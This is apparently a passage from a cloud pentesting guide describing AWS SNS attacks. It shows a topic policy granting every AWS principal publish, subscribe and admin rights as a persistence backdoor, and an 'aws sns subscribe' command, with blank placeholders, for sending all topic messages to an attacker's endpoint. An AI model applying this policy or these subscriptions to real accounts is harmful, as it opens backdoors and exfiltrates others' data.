### Persistence
When creating a **SNS topic** you need to indicate with an IAM policy **who has access to read and write**. It's possible to indicate external accounts, ARN of roles, or **even "\*"**.\
The following policy gives everyone in AWS access to read and write in the SNS topic called **`MySNS.fifo`**:
```json
{
"Version": "2008-10-17",
"Id": "__default_policy_ID",
"Statement": [
{
"Sid": "__default_statement_ID",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"SNS:Publish",
"SNS:RemovePermission",
"SNS:SetTopicAttributes",
"SNS:DeleteTopic",
"SNS:ListSubscriptionsByTopic",
"SNS:GetTopicAttributes",
"SNS:AddPermission",
"SNS:Subscribe"
],
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
"Condition": {
"StringEquals": {
"AWS:SourceOwner": "318142138553"
}
}
},
{
"Sid": "__console_pub_0",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Publish",
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
},
{
"Sid": "__console_sub_0",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Subscribe",
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
}
]
}
```
### Create Subscribers
To continue exfiltrating all the messages from all the topics and attacker could **create subscribers for all the topics**.
Note that if the **topic is of type FIFO**, only subscribers using the protocol **SQS** can be used.
```bash
aws sns subscribe --region \
--protocol http \
--notification-endpoint http:/// \
--topic-arn
```
